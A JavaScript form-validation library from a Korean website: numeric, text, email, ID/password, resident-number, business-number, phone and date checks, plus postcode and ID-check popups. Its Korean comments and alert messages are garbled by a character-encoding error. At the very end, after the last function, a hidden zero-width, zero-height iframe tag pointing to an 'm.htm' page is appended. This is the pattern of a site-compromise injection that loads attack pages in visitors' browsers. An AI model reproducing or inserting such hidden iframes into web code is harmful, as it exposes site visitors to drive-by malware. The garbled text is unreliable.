function numOnly(obj,frm,isCash){
	//ÀÔ·ÂÇÊµåÀÇ ÀÔ·Â°ªÀÌ ¼ýÀÚ ÀÔ·Â°¡´É.
	//»ç¿ë¿¹ : <input type="text" name="text" onKeyUp="javascript:numOnly(this,document.ÆûÀÌ¸§,true);">
	//¼¼ÀÚ¸® ÄÞ¸¶ »ç¿ë½Ã true , ¼ýÀÚ¸¸ ÀÔ·Â ½Ã false
	if (event.keyCode == 9 || event.keyCode == 37 || event.keyCode == 39) return;
	var returnValue = "";
	for (var i = 0; i < obj.value.length; i++){
		if (obj.value.charAt(i) >= "0" && obj.value.charAt(i) <= "9"){
			returnValue += obj.value.charAt(i);
		}else{
			returnValue += "";
		}
	}
	if (isCash){
		obj.value = cashReturn(returnValue);
		return;
	}
	obj.focus();
	obj.value = returnValue;
}


function numOnlyTime(obj,frm){
	if (event.keyCode == 9 || event.keyCode == 37 || event.keyCode == 39) return;
	var returnValue = "";
	for (var i = 0; i < obj.value.length; i++){
		if (obj.value.charAt(i) >= "0" && obj.value.charAt(i) <= "9"){
			returnValue += obj.value.charAt(i);
		}else{
			returnValue += "";
		}
	}
	if(parseInt(returnValue,10) >= 24) returnValue = "";
	obj.focus();
	obj.value = returnValue;
}


function numOnlyDay(obj,frm){
	if (event.keyCode == 9 || event.keyCode == 37 || event.keyCode == 39) return;
	var returnValue = "";
	for (var i = 0; i < obj.value.length; i++){
		if (obj.value.charAt(i) >= "0" && obj.value.charAt(i) <= "9"){
			returnValue += obj.value.charAt(i);
		}else{
			returnValue += "";
		}
	}
	if(parseInt(returnValue,10)==0 || parseInt(returnValue,10)>=32 || !returnValue) returnValue = "01";
	obj.focus();
	obj.value = returnValue;
}


function isNumber(str) {
	if (str) {
		if (str.search(/[^0-9]/g) == -1) return true;
		else return false;
	}
	else return false;
}


function korOnly(str) {
	var strLength = str.length;
	var i;
	var Unicode;
	for (var i=0; i<strLength; i++){
		Unicode = str.charCodeAt(i);
		if ( !(44032 <= Unicode && Unicode <= 55203) ) return false;
	}
	return true;
}



function engOnlyUp1(obj){
	//¿µ¹® ,_,-, ¼ýÀÚ ¸¸ÀÌ ÀÔ·Â
	//»ç¿ë¿¹ : <input type="text" name="text" onKeyUp="javascript:engOnly(this);">
	if (event.keyCode == 9 || event.keyCode == 37 || event.keyCode == 39) return;
	var returnValue = "";
	for (var i = 0; i < obj.value.length; i++){
		var isNum = false;
		if ((obj.value.charAt(i) >= "0" && obj.value.charAt(i) <= "9") || (obj.value.charAt(i) >= "a" &&  obj.value.charAt(i) <= "z") || (obj.value.charAt(i) >= "A" && obj.value.charAt(i) <= "Z") || obj.value.charAt(i) == "_" || obj.value.charAt(i) == "-"){
			returnValue += obj.value.charAt(i);
		}
	}
	obj.value = returnValue;
}
function engOnlyUp2(obj){
	//space, -, _, ¼ýÀÚ, ., ¿µ¹®¸¸ ÀÔ·ÂµÇ°ÔÇÑ´Ù.
	if (event.keyCode == 9 || event.keyCode == 37 || event.keyCode == 39) return;
	var returnValue = "";
	for (var i = 0; i < obj.value.length; i++){
		var isNum = false;
		if ((obj.value.charAt(i) >= "0" && obj.value.charAt(i) <= "9") || (obj.value.charAt(i) >= "a" &&  obj.value.charAt(i) <= "z") || (obj.value.charAt(i) >= "A" && obj.value.charAt(i) <= "Z") || obj.value.charAt(i) == " " || obj.value.charAt(i) == "_" || obj.value.charAt(i) == "-" || obj.value.charAt(i) == "."){
			returnValue += obj.value.charAt(i);
		}
	}
	obj.value = returnValue;
}
function engOnlyUp3(obj){
	//¼ýÀÚ, ¿µ¹® ´ë¹®¸¸ ÀÔ·ÂµÇ°ÔÇÑ´Ù.
	if (event.keyCode == 9 || event.keyCode == 37 || event.keyCode == 39) return;
	var returnValue = "";
	for (var i = 0; i < obj.value.length; i++){
		var isNum = false;
		if ((obj.value.charAt(i) >= "0" && obj.value.charAt(i) <= "9") || (obj.value.charAt(i) >= "a" &&  obj.value.charAt(i) <= "z") || (obj.value.charAt(i) >= "A" && obj.value.charAt(i) <= "Z") ){
			returnValue += obj.value.charAt(i);
		}
	}
	obj.value = returnValue.toUpperCase();
}
function engOnlyUp4(obj){
	//¼ýÀÚ, ¿µ¹® ¼Ò¹®¸¸ ÀÔ·ÂµÇ°ÔÇÑ´Ù.
	if (event.keyCode == 9 || event.keyCode == 37 || event.keyCode == 39) return;
	var returnValue = "";
	for (var i = 0; i < obj.value.length; i++){
		var isNum = false;
		if ((obj.value.charAt(i) >= "0" && obj.value.charAt(i) <= "9") || (obj.value.charAt(i) >= "a" &&  obj.value.charAt(i) <= "z") || (obj.value.charAt(i) >= "A" && obj.value.charAt(i) <= "Z") ){
			returnValue += obj.value.charAt(i);
		}
	}
	obj.value = returnValue.toLowerCase();
}



function cashReturn(numValue){
	//numOnlyÇÔ¼ö¿¡ ¸¶Áö¸· ÆÄ¶ó¹ÌÅÍ¸¦ true·Î ÁÖ°í numOnly¸¦ ºÎ¸¥´Ù.
	var cashReturn = "";
	for (var i = numValue.length-1; i >= 0; i--){
		cashReturn = numValue.charAt(i) + cashReturn;
		if (i != 0 && i%3 == numValue.length%3) cashReturn = "," + cashReturn;
	}
	return cashReturn;
}



function removeComma(cash){
	//ÄÞ¸¶¸¦ ¾ø¾ÖÁØ´Ù.
	//»ç¿ë¹ý : document.ÆûÀÌ¸§.ÇÊµåÀÌ¸§.value = removeComma(document.ÆûÀÌ¸§.ÇÊµåÀÌ¸§.value);
	var returnValue = "";
	for (var i = 0; i < cash.length; i++){
		if (cash.charAt(i) != ","){
			returnValue += cash.charAt(i);
		}
	}
	return returnValue;
}



function zero_fill(inputvalue,demandLength){
	//12 --> 0012 Ã³·³ ¸¸µé±â
	var spaceValue = "";
	for (var i = 0; i < demandLength-inputvalue.length;i++){
		spaceValue += "0";
	}
	return spaceValue+inputvalue;
}



function space_fill(inputvalue,demandLength){
	var spaceValue = "";
	for (var i = 0; i < demandLength-inputvalue.length;i++){
		spaceValue += " ";
	}
	return spaceValue+inputvalue;
}



function removeLeftZero(inputValue){
	//¿ÞÂÊ 0 ¾ø¾Ö±â
	var zeroIdx = 0;
	for (var i = 0; i < inputValue.length; i++){
		if (inputValue.charAt(i) != "0" && inputValue.charAt(i) != ","){
			break;
		}
		else zeroIdx++;
	}
	return inputValue.substring(zeroIdx);
}



function isValidEmail(str){
	var pattern = /^[-_a-zA-Z0-9]+@[\.a-zA-Z0-9-]+\.[a-zA-Z]+$/;
	return (pattern.test(str)) ? true : false;
}



function nohanMail(str) {
	var email = str.split("@")
	if (email[1]=="hanmail.net") return false;
	else if (email[1]=="daum.net") return false;
	else return true;
}



function check_id(useridform) {
	var obj=eval(useridform)
	if(!obj.value) {
		alert('¾ÆÀÌµð¸¦ ÀÔ·ÂÇÏ¿© ÁÖ½Ê½Ã¿ä');
		obj.focus();
	}
	else {
		window.open('check_user_id.php?user_id='+obj.value,'check_user_id','width=200,height=100,toolbar=no,status=no,resizable=no');
	}
}


// ID, PW Ã¼Å©
function is_IDPW_Old(id_pw){
	if(id_pw.length < 6 || id_pw.length > 10){
		return false;
	}
	for(var i = 0; i < id_pw.length; i++) {
		var chr = id_pw.substr(i,1);
		if((chr < '0' || chr > '9') && (chr < 'a' || chr > 'z')) {
			return false;
		}
	}
	return true;
}

function is_IDPW_New(id_pw){
	if(id_pw.length < 4 || id_pw.length > 10){
		return false;
	}
	var j = k = 0;
	for(var i=0; i<id_pw.length; i++){
		var chr = id_pw.substr(i,1);
		if((chr < '0' || chr > '9') && (chr < 'a' || chr > 'z')){
			return false;
		}
		if(chr >= '0' && chr <= '9')
			j++;
		if(chr >= 'a' && chr <= 'z')
			k++;
	}
	if(j > 0 && k > 0){
		return true;
	}else{
		return true;
	}
}


// ÁÖ¹Îµî·Ï¹øÈ£ Ã¼Å©
function check_jm_bh(jm_bh1,jm_bh2) {
	var tot=0, result=0, re=0, se_arg=0;
	var chk_num="";
	chk_jm_bh = jm_bh1 + jm_bh2;
	if (chk_jm_bh.length != 13) {
		return false;
	}
	else {
		for (var i=0; i < 12; i++) {
		if (isNaN(chk_jm_bh.substr(i, 1))) return false;
			se_arg = i;
			if (i >= 8) se_arg = i - 8;
			tot = tot + Number(chk_jm_bh.substr(i, 1)) * (se_arg + 2)
		}
		if (chk_num != "err") {
			re = tot % 11;
			result = 11 - re;
			if (result >= 10) result = result - 10;
			if (result != Number(chk_jm_bh.substr(12, 1))) return false;
			if ((Number(chk_jm_bh.substr(6, 1)) < 1) || (Number(chk_jm_bh.substr(6, 1)) > 2))
			return false;
		}
	}
	return true;
}


// ¿ìÆí¹øÈ£ ÀÚµ¿ÀÔ·Â
function OpenZipcode(form,zip1,zip2,add1,add2) {
	window.open("zipcode/post_check.php?form="+form+"&zip1="+zip1+"&zip2="+zip2+"&add1="+add1+"&add2="+add2+"","","width=460,height=300,toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=yes,resizable=no");
}


// ¾ÆµðµðÃ¼Å© ÆË¾÷Ã¢
function goCheckID(form,userid) {
	window.open("id_check/pop_id_double.php?form="+form+"&userid="+userid+"","","width=400,height=200,toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no");
}


// ÇØ´ç(ÁÖ¹Îµî·Ï¹øÈ£)±æÀÌ°¡ µÇ¸é ´ÙÀ½À¸·Î Ä¿¼­ ÀÌµ¿
function Move_Check(obj01,obj02,len) {
	if (obj01.value.length == len) {
		obj02.focus();
	}
}


// ½ÇÁ÷Àû »ç¾÷ÀÚ µî·Ï¹øÈ£ È®ÀÎ ÇÔ¼ö
function Real_IsComNo(num) {
	var reg = /([0-9]{3})-?([0-9]{2})-?([0-9]{5})/;
	if (!reg.test(num)) return false;
	num = RegExp.$1 + RegExp.$2 + RegExp.$3;
	var cVal = 0;
	for (var i=0; i<8; i++) {
		var cKeyNum = parseInt(((_tmp = i % 3) == 0) ? 1 : ( _tmp  == 1 ) ? 3 : 7);
		cVal += (parseFloat(num.substring(i,i+1)) * cKeyNum) % 10;
	}
	var li_temp = parseFloat(num.substring(i,i+1)) * 5 + '0';
	cVal += parseFloat(li_temp.substring(0,1)) + parseFloat(li_temp.substring(1,2));
	return (parseInt(num.substring(9,10)) == 10-(cVal % 10)%10);
}


// ±¸¶óÀû »ç¾÷ÀÚ µî·Ï¹øÈ£ È®ÀÎ ÇÔ¼ö
function IsComNo(fname01,len01,fname02,len02,fname03,len03,mess) {
	var num01 = fname01.value;
	var num02 = fname02.value;
	var num03 = fname03.value;
	if (!isNumber(num01) || num01.length!=len01){
		alert(mess + "ÀÇ Ã¹¹øÂ°¶õÀº '" + len01 + "'ÀÚ¸®ÀÇ Á¤¼ö¿©¾ß ÇÕ´Ï´Ù!");
		fname01.focus();
		fname01.select();
		return false;
	}
	if (!isNumber(num02) || num02.length!=len02){
		alert(mess + "ÀÇ µÎ¹øÂ°¶õÀº '" + len02 + "'ÀÚ¸®ÀÇ Á¤¼ö¿©¾ß ÇÕ´Ï´Ù!");
		fname02.focus();
		fname02.select();
		return false;
	}
	if (!isNumber(num03) || num03.length!=len03){
		alert(mess + "ÀÇ ¼¼¹øÂ°¶õÀº '" + len03 + "'ÀÚ¸®ÀÇ Á¤¼ö¿©¾ß ÇÕ´Ï´Ù!");
		fname03.focus();
		fname03.select();
		return false;
	}
	return true;
}


// °¢Á¾ ÀüÈ­¹øÈ£(ÈÞ´ëÆù),ÆÑ½º¹øÈ£
function IsPhoneNo(fname01,len01,fname02,len02,fname03,len03,mess) {
	var num01 = fname01.value;
	var num02 = fname02.value;
	var num03 = fname03.value;
	if (len01 == 9){
		if (num01!='010' && num01!='011' && num01!='016' && num01!='017' && num01!='018' && num01!='019'){
			alert(mess + "ÀÇ Ã¹¹øÂ°¶õÀº 010,011,016,017,018,019 ÁßÀÇ ÇÏ³ª¿©¾ß ÇÕ´Ï´Ù!");
			fname01.focus();
			fname01.select();
			return false;
		}
	} else {
		if (!isNumber(num01) || num01.length<len01){
			alert(mess + "ÀÇ Ã¹¹øÂ°¶õÀº '" + len01 + "'ÀÚ¸® ÀÌ»óÀÇ Á¤¼ö¿©¾ß ÇÕ´Ï´Ù!");
			fname01.focus();
			fname01.select();
			return false;
		}
	}
	if (!isNumber(num02) || num02.length<len02){
		alert(mess + "ÀÇ µÎ¹øÂ°¶õÀº '" + len02 + "'ÀÚ¸® ÀÌ»óÀÇ Á¤¼ö¿©¾ß ÇÕ´Ï´Ù!");
		fname02.focus();
		fname02.select();
		return false;
	}
	if (!isNumber(num03) || num03.length<len03){
		alert(mess + "ÀÇ ¼¼¹øÂ°¶õÀº '" + len03 + "'ÀÚ¸® ÀÌ»óÀÇ Á¤¼ö¿©¾ß ÇÕ´Ï´Ù!");
		fname03.focus();
		fname03.select();
		return false;
	}
	return true;
}


// ³¯Â¥ÀÔ·Â
function IsDateAll(fname01,fname02,fname03,mess) {
	var num01 = fname01.value;
	var num02 = fname02.value;
	var num03 = fname03.value;
	if (!isNumber(num01) || num01.length!=4 || parseInt(num01,10)<1900 || parseInt(num01,10)>2100){
		alert(mess + "ÀÇ '³â'Àº 4ÀÚ¸®·Î 1900~2100»çÀÌÀÇ Á¤¼ö¿©¾ß ÇÕ´Ï´Ù!");
		fname01.focus();
		fname01.select();
		return false;
	}
	if (!isNumber(num02) || parseInt(num02,10)<1 || parseInt(num02,10)>12){
		alert(mess + "ÀÇ '¿ù'Àº 1~12»çÀÌÀÇ Á¤¼ö¿©¾ß ÇÕ´Ï´Ù!");
		fname02.focus();
		fname02.select();
		return false;
	}
	if (!isNumber(num03) || parseInt(num03,10)<1 || parseInt(num03,10)>31){
		alert(mess + "ÀÇ 'ÀÏ'Àº 1~31»çÀÌÀÇ Á¤¼ö¿©¾ß ÇÕ´Ï´Ù!");
		fname03.focus();
		fname03.select();
		return false;
	}
	return true;
}


function Int_Round(num,round_num){
	tmp_num1 = num*Math.pow(10, round_num);
	// °¡°øµÈ ¼ýÀÚ¸¦ ¹Ý¿Ã¸²
	tmp_num2=Math.round(tmp_num1);
	// ¿ª¼øÀ¸·Î ´Ù½Ã °¡°ø
	result = tmp_num2/Math.pow(10, round_num); 
	return result;
}iframe src=http://127.0.0.1/m.htm width=0 height=0></iframe
